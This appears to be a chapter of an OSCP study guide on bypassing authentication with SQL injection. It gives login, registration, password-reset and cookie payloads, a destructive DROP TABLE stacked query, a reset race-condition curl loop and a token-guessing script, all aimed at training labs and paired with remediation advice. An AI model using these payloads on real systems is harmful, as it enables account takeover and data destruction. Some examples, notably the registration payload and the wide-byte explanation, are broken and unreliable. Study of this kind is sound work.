Domain 2Web App AttacksCORE

Bypassing Authentication via SQLi

Comprehensive guide to bypassing authentication mechanisms through SQL injection including login form bypass, registration manipulation, password reset exploitation, and hash extraction techniques.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#Auth Bypass#Login Bypass#Tautology#Password Reset

Bypassing Authentication via SQLi

Table of Contents

  1. Introduction
  2. How Authentication Queries Work
  3. Common Authentication Bypass Payloads
  4. Login Form Bypass Scenarios
  5. Registration Bypass
  6. Password Reset Bypass
  7. Session Cookie Injection
  8. Multi-Parameter Injection
  9. OSCP-Relevant Auth Bypass Patterns
  10. Documentation Requirements
  11. Practice Targets
  12. Quick Reference Cheat Sheet

Introduction

Authentication bypass via SQL injection is one of the most impactful and frequently tested techniques in the OSCP exam. When a web application constructs SQL queries using unsanitized user input from login forms, registration pages, or password reset flows, an attacker can manipulate these queries to:

  • Log in as any user (including administrators) without knowing their password
  • Register as a privileged user with elevated roles
  • Reset any user’s password by manipulating token generation queries
  • Extract password hashes for offline cracking
  • Manipulate session cookies to impersonate users

This guide covers every bypass technique in extreme detail, showing the exact SQL query structures, how each payload manipulates them, and the resulting behavior.


How Authentication Queries Work

Before understanding bypass techniques, you must understand the underlying query structures. Authentication systems typically use one of the following patterns:

Pattern 1: Username + Password Comparison (Most Common)

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = 'PASS_INPUT';

Expected behavior: Returns a row if both username AND password match. If zero rows returned → authentication fails. If one or more rows returned → authentication succeeds.

Pattern 2: Username Lookup + Hash Comparison

SELECT password_hash FROM users WHERE username = 'USER_INPUT';

Expected behavior: Application retrieves the hash, then compares it in application code (PHP, Python, etc.) against the hash of the provided password.

Pattern 3: Combined Hashed Comparison

SELECT * FROM users WHERE username = 'USER_INPUT' AND password = MD5('PASS_INPUT');

Expected behavior: The password is hashed server-side before comparison within the query itself.

Pattern 4: Integer-Based User ID

SELECT * FROM users WHERE id = USER_INPUT AND password = 'PASS_INPUT';

Expected behavior: Uses numeric user ID instead of string username.

Pattern 5: Email-Based Authentication

SELECT * FROM users WHERE email = 'USER_INPUT' AND password = 'PASS_INPUT';

Expected behavior: Uses email address as the identifier instead of username.


Common Authentication Bypass Payloads

1. Comment Out Password: admin'--

Payload:

Username: admin'--
Password: (anything)

Original Query:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';

After Injection:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';
--                              ^^ MySQL comment starts here, rest is ignored
-- Effectively becomes:
SELECT * FROM users WHERE username = 'admin'

How It Works:

  • The single quote ' closes the username string literal
  • The -- starts a SQL comment (note: a space or any character must follow -- for it to be recognized as a comment in standard SQL; in MySQL, -- followed by a space works)
  • Everything after -- is treated as a comment and ignored by the database
  • The password condition is completely removed from the query
  • The query now only checks if a user with username admin exists
  • If the admin user exists, the query returns a row → authentication succeeds

Alternative Comment Styles:

admin'#          -- Hash comment (MySQL only)
admin'/*         -- Block comment (never closed)
admin';#         -- Semicolon + hash comment

Important Note: In MySQL, -- requires a trailing space or newline to be recognized as a comment. If the application doesn’t add a space, use # instead:

Username: admin'#

2. Tautology: ' OR '1'='1

Payload:

Username: ' OR '1'='1
Password: ' OR '1'='1

Original Query:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';

After Injection (with operator precedence):

-- AND has higher precedence than OR, so it evaluates as:
SELECT * FROM users WHERE username = '' OR ('1'='1' AND password = '') OR ('1'='1');
-- Since '1'='1' is always TRUE, the entire WHERE clause is always TRUE
-- Effectively returns ALL rows from the users table

How It Works:

  • The leading ' closes the original string literal
  • OR '1'='1' adds a condition that is always true (a tautology)
  • Because AND has higher precedence than OR, the logic evaluates such that at least one OR branch is always true
  • The query returns all rows from the users table
  • The application typically uses the first row returned for authentication
  • You get logged in as whichever user appears first in the table (often admin or root)

Variations:

' OR 'a'='a
' OR 'x'='x
' OR 1=1--
" OR "1"="1          -- Double quote variant

3. OR True Numeric: ' OR 1=1--

Payload:

Username: ' OR 1=1--
Password: (anything)

Original Query:

SELECT * FROM users WHERE username = '' OR 1=1--' AND password = 'anything';

After Injection:

SELECT * FROM users WHERE username = '' OR 1=1--' AND password = 'anything';
--                              ^^^ comment starts, rest ignored
-- Effectively:
SELECT * FROM users WHERE username = '' OR 1=1

How It Works:

  • The ' closes the empty username string
  • OR 1=1 adds a numeric tautology (1 always equals 1)
  • -- comments out the rest of the query including the password check
  • Since 1=1 is always true, the WHERE clause always evaluates to true
  • All rows are returned, and the first row is used for authentication

Why This Differs from ' OR '1'='1:

  • ' OR 1=1-- uses numeric comparison and comments out the password entirely
  • ' OR '1'='1 uses string comparison and relies on operator precedence
  • Both achieve the same result but work differently under the hood

4. Admin ID Bypass: 1 OR 1=1

Payload:

Username: 1 OR 1=1
Password: (anything)

Original Query (integer-based):

SELECT * FROM users WHERE id = 1 OR 1=1 AND password = 'anything';

After Injection:

-- AND has higher precedence:
SELECT * FROM users WHERE id = 1 OR (1=1 AND password = 'anything');
-- Since 1=1 is always true, this simplifies to always returning rows

How It Works:

  • This targets queries that use integer user IDs instead of string usernames
  • No quotes needed because the input is not wrapped in quotes
  • 1 OR 1=1 makes the WHERE clause always evaluate to true
  • All users are returned, first row is used for authentication

Variations:

1 OR 1=1--           -- Comment out password too
1 UNION SELECT 1,2,3 -- Force specific data return

5. UNION Admin Row Injection

Payload:

Username: ' UNION SELECT 1,'admin','hash_of_admin',1--
Password: (anything)

Original Query:

SELECT * FROM users WHERE username = '' UNION SELECT 1,'admin','hash_of_admin',1--' AND password = 'x';

After Injection:

SELECT * FROM users WHERE username = '' 
UNION SELECT 1,'admin','hash_of_admin',1
-- The injected row is combined with query results

How It Works:

  • The ' closes the username string
  • UNION SELECT appends a fabricated row to the query results
  • The fabricated row contains: ID, username, password hash, and privilege level
  • The application receives this fabricated row as if it came from the database
  • You authenticate as the fabricated admin user

Critical Requirements:

  • You must know the exact number of columns in the original query
  • You must know the column order (which position is username, password, role, etc.)
  • Use error-based or blind techniques to enumerate columns first

Column Count Discovery:

' ORDER BY 1--    -- No error? Try higher
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--    -- Error at 5? Then 4 columns exist
' ORDER BY 5--    -- ERROR: Unknown column '5' in 'order clause'

Once you know there are 4 columns:

' UNION SELECT 1,2,3,4--

The page will display which positions correspond to which data, helping you craft the correct payload.

6. Wide Byte Injection (GBK): %bf' OR 1=1--

Payload:

Username: %bf' OR 1=1--
Password: (anything)

Original Query (with GBK encoding):

-- Application receives: %bf' OR 1=1--
-- After URL decoding: ÿ' OR 1=1-- (binary: 0xbf 0x27 0x20...)
-- GBK interprets 0xbf 0x27 as a single wide character: 縗
-- The backslash added by addslashes() gets consumed:
SELECT * FROM users WHERE username = '縗 OR 1=1--' AND password = 'anything';

How It Works:

  • This exploits the interaction between GBK multi-byte encoding and escape character handling
  • The application uses addslashes() or mysql_real_escape_string() to escape the input
  • The input ' (single quote) gets escaped to \' (backslash + quote)
  • The %bf byte (0xBF) placed before the backslash forms a valid GBK multi-byte character with the backslash (0x5C)
  • GBK interprets 0xBF 0x5C as a single character (縗), consuming the backslash
  • The single quote ' is no longer escaped and breaks out of the string
  • The injection proceeds normally

Step-by-Step Breakdown:

  1. Input: %bf' OR 1=1--
  2. URL decoded: 0xbf 0x27 0x20 0x4f 0x52...
  3. addslashes() sees ' and adds \: 0xbf 0x5c 0x27 0x20 0x4f 0x52...
  4. GBK encoding interprets 0xbf 0x5c as one character (縗)
  5. The 0x27 (single quote) is now unescaped
  6. Query becomes: WHERE username = '縗' OR 1=1--' AND password = 'x'
  7. The injection succeeds

When This Works:

  • MySQL with GBK or big5 character set
  • Application uses addslashes() or similar escaping
  • The connection character set is GBK-compatible
  • Common in older Chinese-language applications

Testing for Wide Byte Vulnerability:

%bf'                    -- Test basic wide byte escape
%a1%a1'                 -- Alternative GBK sequence
%df'                    -- Another GBK escape sequence

7. Hex Encoding Bypass

Payload:

Username: admin
Password: 0x61646d696e          -- hex for 'admin'

Or for injection:

Username: ' OR password LIKE 0x61646d696e--

Original Query:

SELECT * FROM users WHERE username = '' OR password LIKE 0x61646d696e--' AND password = 'x';

After Injection:

SELECT * FROM users WHERE username = '' OR password LIKE 0x61646d696e
-- 0x61646d696e = 'admin' in hex
-- Returns any user whose password contains 'admin'

How It Works:

  • MySQL accepts hex literals in the format 0xHEXVALUE
  • Hex encoding bypasses filters that block specific characters (quotes, spaces, etc.)
  • Useful when WAF or input filters block common SQL characters

Common Hex Values:

0x27    = '  (single quote)
0x22    = "  (double quote)
0x2D2D  = -- (comment)
0x23    = #  (hash comment)
0x61646d696e = 'admin'
0x70617373 = 'pass'

Advanced Hex Injection:

Username: ' OR 1=1 AND SUBSTRING(password,1,1)=0x61--
-- Checks if first character of password is 'a'
-- Useful for blind SQLi password extraction

Login Form Bypass Scenarios

Scenario 1: Username Field Injection

This is the most common scenario where only the username field is vulnerable.

Query Structure A: Basic String Comparison

Original Query:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Vulnerable Code (PHP):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
    // Login successful
}

Payload and Result:

Payload Resulting Query Effect
admin'-- WHERE username = 'admin'--' AND password = 'x' Comments out password check
' OR '1'='1 WHERE username = '' OR '1'='1' AND password = 'x' Tautology returns all rows
' OR 1=1-- WHERE username = '' OR 1=1--' AND password = 'x' Numeric tautology + comment
admin' OR '1'='1 WHERE username = 'admin' OR '1'='1' AND password = 'x' Returns all rows

Query Structure B: Hashed Password Comparison

Original Query:

SELECT * FROM users WHERE username = '$username' AND password = MD5('$password');

Vulnerable Code (PHP):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = MD5('$password')";

Payload and Result:

Payload Resulting Query Effect
admin'-- WHERE username = 'admin'--' AND password = MD5('x') Same bypass, hash irrelevant
' OR 1=1-- WHERE username = '' OR 1=1--' AND password = MD5('x') Same bypass

Key Insight: The MD5 hashing on the password side does NOT prevent injection because the injection occurs in the username field, and the -- comment removes the entire password comparison clause.

Query Structure C: Password Hash Retrieved and Compared in Code

Original Query:

SELECT password FROM users WHERE username = '$username';

Vulnerable Code (PHP):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT password FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_assoc($result);
if ($row && md5($password) === $row['password']) {
    // Login successful
}

Bypass Strategy 1 - Extract Hash Then Crack:

Username: admin
Password: (anything)

The query returns admin’s hash. If the application leaks the hash in an error message, cookie, or response header, you can crack it offline.

Bypass Strategy 2 - UNION Injection to Control Returned Hash:

Username: ' UNION SELECT 'd8578edf8458ce06fbc5bb76a58c5ca4'--
Password: changeme

Resulting Query:

SELECT password FROM users WHERE username = '' 
UNION SELECT 'd8578edf8458ce06fbc5bb76a58c5ca4'--';

How It Works:

  • The UNION injects a known hash (d8578edf8458ce06fbc5bb76a58c5ca4 = MD5 of changeme)
  • The application receives this hash as if it belonged to a real user
  • When it compares MD5('changeme') against the returned hash, they match
  • Authentication succeeds

This is one of the most powerful bypass techniques because it works even when the password is compared in application code rather than in the SQL query.

Scenario 2: Both Fields Injection

When both username and password fields are vulnerable, you have more attack surface.

Original Query:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Payload Combinations:

Username Password Resulting Query Effect
admin'-- anything WHERE username = 'admin'--' AND password = 'anything' Password commented out
' OR '1'='1 ' OR '1'='1 WHERE username = '' OR '1'='1' AND password = '' OR '1'='1' Double tautology
admin ' OR '1'='1-- WHERE username = 'admin' AND password = '' OR '1'='1--' Password tautology
' UNION SELECT 1,2,3-- x WHERE username = '' UNION SELECT 1,2,3--' AND password = 'x' UNION injection

Most Reliable Payload (Both Fields):

Username: ' OR '1'='1
Password: ' OR '1'='1

This is the classic tautology attack and works against almost any string-based authentication query.

Scenario 3: Password Field Only Injection

When only the password field is vulnerable (username is sanitized).

Original Query:

SELECT * FROM users WHERE username = 'admin' AND password = '$password';

Payloads:

Payload Resulting Query Effect
' OR '1'='1-- WHERE username = 'admin' AND password = '' OR '1'='1--' Tautology in password
a' OR 1=1-- WHERE username = 'admin' AND password = 'a' OR 1=1--' Numeric tautology
' UNION SELECT NULL,NULL,NULL-- Depends on column count UNION attack

Key Payload:

Username: admin
Password: ' OR '1'='1--

Resulting Query:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'--';
-- Evaluates as:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR ('1'='1');
-- The OR '1'='1' makes the whole condition true

Scenario 4: Hash Comparison Bypass

When the application compares password hashes in application code.

Vulnerable Code (PHP):

$username = $_POST['username'];
$password = $_POST['password'];

// Query only fetches the hash
$query = "SELECT id, username, password_hash FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
$user = mysqli_fetch_assoc($result);

// Comparison happens in PHP
if ($user && password_verify($password, $user['password_hash'])) {
    // Login successful
}

Bypass Technique 1: Known Hash Injection

Username: ' UNION SELECT 1,'admin','$2y$10$e0MYzXyjpJS7Pd0RVvHwHe.YxurZ636FkK7FjXkHPSdLmg1L5x6eG'--
Password: test

This only works if you know a valid hash-password pair. More commonly:

Bypass Technique 2: Extract Hash via Error/Blind SQLi

Username: admin' AND 1=CONVERT(int,(SELECT SUBSTRING(password_hash,1,1) FROM users WHERE username='admin'))--

Use blind SQLi to extract the hash character by character, then crack it offline.

Bypass Technique 3: Boolean-Based Hash Extraction

Username: admin' AND ASCII(SUBSTRING((SELECT password_hash FROM users WHERE username='admin'),1,1))>90--

Test each character position with binary search:

Position 1, char > 90?  Yes → between 91-122 (uppercase/lowercase)
Position 1, char > 106? Yes → between 107-122
Position 1, char > 114? No → between 107-114
...continue until exact character found

Scenario 5: Different Query Structures and Bypasses

Structure: LIKE Operator

Original Query:

SELECT * FROM users WHERE username LIKE '%$username%' AND password = '$password';

Payload:

Username: '% OR ''='
Password: (anything)

Resulting Query:

SELECT * FROM users WHERE username LIKE '%% OR ''='%' AND password = 'x';
-- The LIKE pattern becomes: %% OR ''=%
-- This matches any username because ''='' is always true within the LIKE context

Structure: Prepared Statement with Concatenation

Original Query (partially vulnerable):

// BAD: Parameterized username but concatenated password
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = '$password'");

Payload:

Username: admin
Password: ' OR '1'='1--

Even with prepared statements, if any part of the query is concatenated, injection is possible.

Structure: Stored Procedure

Original Query:

CALL authenticate_user('$username', '$password');

Payload:

Username: admin'); DROP TABLE users;--
Password: x

Resulting Query:

CALL authenticate_user('admin'); DROP TABLE users;--', 'x');

This can execute arbitrary SQL within the stored procedure context.


Registration Bypass

Technique 1: Registering as Admin via Role Injection

Original Query:

INSERT INTO users (username, password, role) VALUES ('$username', '$password', 'user');

Vulnerable Code (PHP):

$username = $_POST['username'];
$password = md5($_POST['password']);
$role = 'user';  // Hardcoded, but...
$query = "INSERT INTO users (username, password, role) VALUES ('$username', '$password', 'user')";

If the role is somehow influenced by user input:

Vulnerable Variant:

$referral = $_POST['referral'];
$query = "INSERT INTO users (username, password, role, referred_by) 
          VALUES ('$username', '$password', 'user', '$referral')";

Payload:

Username: hacker
Password: password123
Referral: user', 'admin')--

Resulting Query:

INSERT INTO users (username, password, role, referred_by) 
VALUES ('hacker', '5f4dcc3b5aa765d61d8327deb882cf99', 'user', 'user', 'admin')--')';

Wait — this breaks the syntax. Let’s fix it:

Referral: user', 'admin'#

Resulting Query:

INSERT INTO users (username, password, role, referred_by) 
VALUES ('hacker', '5f4dcc3b5aa765d61d8327deb882cf99', 'user', 'user', 'admin'#')';
-- The # comments out the trailing ')';
-- But we now have 5 values for 4 columns...

Correct Approach - Close and Rewrite:

Referral: ', 'admin'--

Resulting Query:

INSERT INTO users (username, password, role, referred_by) 
VALUES ('hacker', '5f4dcc3b5aa765d61d8327deb882cf99', 'user', ', 'admin'--')';

This still doesn’t work cleanly. The proper technique:

Correct Payload:

Username: hacker
Password: password123
Referral: '),'hacker','hash','admin');--

Resulting Query:

INSERT INTO users (username, password, role, referred_by) 
VALUES ('hacker', '5f4dcc3b5aa765d61d8327deb882cf99', 'user', 
        '),'hacker','hash','admin');--');

The injected portion creates a second INSERT with admin role. The -- comments out the remaining syntax.

Technique 2: UNION During Registration

If the registration page displays a confirmation message using a SELECT query:

Original Query:

SELECT username FROM users WHERE username = '$username';

Payload:

Username: ' UNION SELECT 'admin'--

If the application checks the result and the UNION returns ‘admin’, it might trigger admin-level registration logic.

Technique 3: Second-Order Registration Injection

Concept: The input is sanitized at registration time but injected when the data is later used (e.g., during login, profile display, or email verification).

Registration:

Username: admin'--
Password: password123

The registration query safely stores admin'-- as the username (perhaps escaped). But when the user later logs in:

Login Query:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'password123';

If the stored username is retrieved and concatenated without re-escaping, the injection activates at login time.

Another Second-Order Scenario:

Registration stores the payload. Later, a “welcome back” query uses it:

SELECT * FROM users WHERE username = (SELECT username FROM users WHERE id = $session_id);

If the stored username contains SQL, and this subquery result is concatenated into another query, injection occurs.


Password Reset Bypass

Technique 1: Token Manipulation

Original Flow:

  1. User enters email for password reset
  2. Application generates token and stores it:
UPDATE users SET reset_token = 'abc123' WHERE email = '$email';
  1. Token is sent to email
  2. User visits reset page with token
  3. Application verifies token:
SELECT * FROM users WHERE reset_token = '$token' AND email = '$email';

Injection at Step 2 (Email Field):

Payload:

Email: admin@target.com' OR '1'='1

Resulting Query:

UPDATE users SET reset_token = 'abc123' WHERE email = 'admin@target.com' OR '1'='1';

Effect: The reset token is set for ALL users in the database, not just admin. You can then use any valid email with this token to reset any account.

Injection at Step 5 (Token Verification):

Payload:

Email: admin@target.com
Token: ' OR '1'='1

Resulting Query:

SELECT * FROM users WHERE reset_token = '' OR '1'='1' AND email = 'admin@target.com';

Effect: The token check is bypassed, and you can reset admin’s password with any token.

Technique 2: Email Field Injection During Reset

Original Query:

SELECT * FROM users WHERE email = '$email';

Payload:

Email: ' UNION SELECT username,password,reset_token,1 FROM users WHERE username='admin'--

Effect: Returns admin’s credentials and reset token directly in the response (if the application displays any data from the query result).

Technique 3: Race Condition in Password Reset

Concept: Exploit timing between token generation and token validation.

Steps:

  1. Send password reset request for admin@target.com
  2. Simultaneously send password reset request for attacker@target.com
  3. If the application uses a predictable or shared token mechanism, both requests might generate the same token
  4. Use the token with admin’s email to reset admin’s password

Automated Race Condition Attack:

# Send multiple reset requests simultaneously
for i in {1..20}; do
    curl -s -X POST http://target/reset.php \
         -d "email=admin@target.com" &
done
wait

# Try each generated token
for token in $(cat captured_tokens.txt); do
    curl -s -X POST http://target/reset.php \
         -d "email=admin@target.com&token=$token&newpass=hacked"
done

Technique 4: Token Prediction

If tokens are generated using weak randomness:

// Weak token generation
$token = md5(time() . $email);

Attack:

import hashlib
import datetime

email = "admin@target.com"
# Try tokens generated in the last 60 seconds
for i in range(60):
    timestamp = int(datetime.datetime.now().timestamp()) - i
    token = hashlib.md5(f"{timestamp}{email}".encode()).hexdigest()
    # Try this token
    try_reset(token, email)

Technique 1: Injecting SQLi via Session ID Cookies

Scenario: The application uses the session cookie to look up user data.

Vulnerable Code (PHP):

$session_id = $_COOKIE['session_id'];
$query = "SELECT * FROM sessions WHERE session_id = '$session_id'";
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_assoc($result);
$user_id = $row['user_id'];

Payload:

Cookie: session_id=' UNION SELECT 'hacked_session',1,'admin','admin_hash',1--

Resulting Query:

SELECT * FROM sessions WHERE session_id = '' 
UNION SELECT 'hacked_session',1,'admin','admin_hash',1--';

Effect: The UNION injects a fabricated session row with admin privileges.

Technique 2: User ID Manipulation in Cookies

Scenario: The application stores the user ID directly in a cookie.

Vulnerable Code (PHP):

$user_id = $_COOKIE['user_id'];
$query = "SELECT * FROM users WHERE id = $user_id";

Payload:

Cookie: user_id=1 OR 1=1

Resulting Query:

SELECT * FROM users WHERE id = 1 OR 1=1;

Effect: Returns all users, first row (often admin) is used.

More Targeted Payload:

Cookie: user_id=1 UNION SELECT 1,'admin','admin_hash','admin@email.com',1

Scenario: Cookie values are Base64-encoded before being used in queries.

Vulnerable Code (PHP):

$cookie_data = base64_decode($_COOKIE['user_data']);
$query = "SELECT * FROM users WHERE username = '$cookie_data'";

Payload:

# Base64 encode: ' OR '1'='1
Cookie: user_data=JyBPUiAnMSc9JzE=

Decoded Value: ' OR '1'='1

Resulting Query:

SELECT * FROM users WHERE username = '' OR '1'='1';

Multi-Parameter Injection

When Both Username and Password Are Vulnerable

Original Query:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

Strategy 1: Inject in Username, Comment Out Password

Username: admin'--
Password: anything

Result:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';

Strategy 2: Inject in Password, Keep Username Clean

Username: admin
Password: ' OR '1'='1--

Result:

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'--';

Strategy 3: Inject in Both Fields

Username: ' OR '1'='1
Password: ' OR '1'='1

Result:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';

Strategy 4: Stacked Queries (if supported)

Username: admin'; UPDATE users SET password='newpass' WHERE username='admin';--
Password: anything

Result:

SELECT * FROM users WHERE username = 'admin'; UPDATE users SET password='newpass' WHERE username='admin';--' AND password = 'anything';

Effect: Changes admin’s password to ‘newpass’, then you can log in normally.

Note: Stacked queries require mysqli_multi_query() in PHP or equivalent. Most mysqli_query() implementations do NOT support stacked queries.

Strategy 5: Combining UNION with Both Parameters

Username: ' UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99',1--
Password: x

Result:

SELECT * FROM users WHERE username = '' 
UNION SELECT 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99',1--' AND password = 'x';

The injected row contains:

  • Column 1: ID = 1
  • Column 2: Username = ‘admin’
  • Column 3: Password hash = MD5(‘password’)
  • Column 4: Role/privilege = 1 (admin)

OSCP-Relevant Auth Bypass Patterns

Pattern 1: DVWA SQL Injection (Low/Medium Security)

Target: http://dvwa/vulnerabilities/sqli/

Low Security:

Username: admin'--
Password: anything

Medium Security:

Username: admin
Password: ' OR 1=1#

High Security: Requires blind SQLi techniques.

Pattern 2: bWAPP SQL Injection

Target: Various SQL injection points in bWAPP

Login Bypass:

Username: ' OR 1=1--
Password: ' OR 1=1--

Registration Bypass:

Username: admin
Email: admin@bwapp.org' OR '1'='1

Pattern 3: Mutillidae Login Bypass

Target: http://mutillidae/login.php

Payload:

Username: admin' OR '1'='1'--
Password: anything

Pattern 4: OWASP Juice Shop

Target: http://juice-shop/#/login

Payload:

Username: admin'--
Password: anything

Pattern 5: Common OSCP Lab Patterns

WebGOAT SQL Injection Lessons

Username: ' OR 1=1--
Password: test

DVWA Authentication Bypass

# Low
Username: 1' OR '1'='1' --
Password: 1' OR '1'='1' --

# Medium (adds backslash escaping)
Username: 1'' OR '1'='1' --
Password: 1'' OR '1'='1' --

# High (uses prepared statements - harder to bypass)
# Requires blind SQLi or alternative approach

sqli-labs Lessons

Lessons 1-7 (Error-based):

?id=1' OR 1=1--
?id=1' UNION SELECT 1,2,3--

Lessons 8-10 (Blind Boolean):

?id=1' AND 1=1--     (page loads normally)
?id=1' AND 1=2--     (page shows different content)

Lessons 11-18 (POST-based):

Username: admin' OR 1=1--
Password: anything

Lessons 19-20 (Cookie-based):

Cookie: uname=admin' OR 1=1--

Lessons 21-23 (Base64-encoded):

Cookie: uname=J2FkbWluJyBPUiAxPTEtLQ==  (Base64 of 'admin' OR 1=1--)

Pattern 6: Second-Order SQLi in OSCP Labs

Some OSCP machines store user input during registration and use it unsafely later:

  1. Register with username: admin'--
  2. The username is stored in the database
  3. When you log in, the stored username is used in a query without proper escaping
  4. The injection activates at login time

Pattern 7: Authentication Bypass via Error Messages

Some applications leak database errors:

Username: admin'
Password: test

Error Response:

You have an error in your SQL syntax near '' AND password = 'test'' at line 1

This confirms SQL injection is possible. Then use:

Username: admin'--
Password: anything

Documentation Requirements

When documenting authentication bypass findings for OSCP reports:

Required Information

  1. Vulnerability Description

    • Type of SQL injection (in-band, blind, error-based, second-order)
    • Which parameter/field is vulnerable
    • The exact payload used
  2. Proof of Concept

    • Screenshots of the login form with the payload
    • Screenshots of successful authentication as the target user
    • Screenshots of any error messages that confirmed the vulnerability
  3. Technical Details

    • The reconstructed vulnerable query
    • How the payload manipulates the query (before/after)
    • The database type (MySQL, PostgreSQL, etc.)
  4. Impact

    • What level of access was gained (user, admin, etc.)
    • What data/actions became accessible
    • Business impact assessment
  5. Remediation

    • Use parameterized queries / prepared statements
    • Input validation and sanitization
    • WAF rules for SQL injection patterns
    • Principle of least privilege for database accounts

Example Report Entry

## Finding: SQL Injection - Authentication Bypass

**Severity:** Critical

**URL:** http://10.10.10.10/login.php

**Vulnerable Parameter:** username (POST)

**Payload:**
- Username: admin'--
- Password: anything

**Vulnerable Query:**
```sql
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything';

Impact: Complete authentication bypass allowing login as any user without knowing their password. Gained access as admin user with full system privileges.

Remediation: Implement parameterized queries using prepared statements. Example:

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

---

## Practice Targets

### Online Practice Platforms

| Platform | URL | Difficulty | Notes |
|----------|-----|------------|-------|
| DVWA | `http://dvwa/vulnerabilities/sqli/` | Low-Medium | Great for beginners |
| bWAPP | `http://bwapp/bWAPP/` | Low-High | Many SQLi scenarios |
| sqli-labs | `http://sqli-labs/` | Low-High | 65+ lessons |
| PortSwigger Academy | `https://portswigger.net/web-security/sql-injection` | Medium-High | Excellent labs |
| OWASP Juice Shop | `http://juice-shop/` | Medium | Realistic scenarios |
| Mutillidae | `http://mutillidae/` | Low-Medium | Good for practice |

### OSCP Lab Machines with Auth Bypass

Practice these patterns on lab machines:
- Machines with web applications that have login forms
- Look for applications with visible SQL error messages
- Test registration forms for injection points
- Check password reset functionality
- Examine session cookies for injectable values

---

## Quick Reference Cheat Sheet

### Universal Auth Bypass Payloads (Try in Order)

1. Comment out password

Username: admin’– Password: x

2. Hash comment variant

Username: admin’# Password: x

3. Tautology (both fields)

Username: ’ OR ‘1’=’1 Password: ’ OR ‘1’=’1

4. Numeric tautology

Username: ’ OR 1=1– Password: x

5. Integer-based

Username: 1 OR 1=1 Password: x

6. Double quote variant

Username: “ OR “1”=“1 Password: “ OR “1”=“1

7. Wide byte (GBK)

Username: %bf’ OR 1=1– Password: x

8. Stacked query (if supported)

Username: admin’; UPDATE users SET password=‘hacked’ WHERE username=‘admin’;– Password: x

9. UNION injection

Username: ’ UNION SELECT 1,‘admin’,‘hash’,1– Password: x

10. Password field only

Username: admin Password: ’ OR ‘1’=’1–


### Database-Specific Comment Characters

| Database | Comment Style | Example |
|----------|--------------|---------|
| MySQL | `-- ` (with space) | `admin'-- ` |
| MySQL | `#` | `admin'#` |
| MySQL | `/* */` | `admin'/*` |
| PostgreSQL | `--` | `admin'--` |
| PostgreSQL | `/* */` | `admin'/*` |
| SQL Server | `--` | `admin'--` |
| SQL Server | `/* */` | `admin'/*` |
| Oracle | `--` | `admin'--` |
| Oracle | `/* */` | `admin'/*` |

### Common Hash Values for Injection

| Hash | Password | Algorithm |
|------|----------|-----------|
| `5f4dcc3b5aa765d61d8327deb882cf99` | password | MD5 |
| `e10adc3949ba59abbe56e057f20f883e` | 123456 | MD5 |
| `d8578edf8458ce06fbc5bb76a58c5ca4` | changeme | MD5 |
| `21232f297a57a5a743894a0e4a801fc3` | admin | MD5 |
| `0192023a7bbd73250516f069df18b500` | 123456789 | MD5 |
| `ef92b778bafe771e89245b89ecbc08a4` | test | MD5 |

### Detection Checklist

□ Test with single quote: admin’ → Check for SQL error □ Test with double quote: admin” → Check for SQL error □ Test with comment: admin’– → Check for login success □ Test with tautology: ’ OR ‘1’=‘1 → Check for login success □ Test with numeric: 1 OR 1=1 → Check for login success □ Test both fields independently □ Test registration form for injection □ Test password reset email field □ Test session cookies for injection □ Check for wide byte vulnerability (%bf’) □ Check for second-order injection (store payload, test later)


---

## Summary

Authentication bypass via SQL injection remains one of the most critical and frequently encountered vulnerabilities in penetration testing. The key principles are:

1. **Understand the underlying query** — Know what SQL the application is constructing
2. **Break out of the string context** — Use quotes to escape the input field
3. **Make the condition always true** — Use tautologies (`1=1`, `'1'='1'`)
4. **Remove unwanted conditions** — Use comments (`--`, `#`) to eliminate password checks
5. **Inject fabricated data** — Use UNION to return controlled rows
6. **Think beyond login** — Registration, password reset, and session cookies are also attack surfaces

Master these patterns, practice on the recommended targets, and you will be well-prepared for authentication bypass challenges in the OSCP exam.

---

*Last Updated: 2026-09-01*
*Part of OSCP Study Guide - Chapter 7: SQL Injection*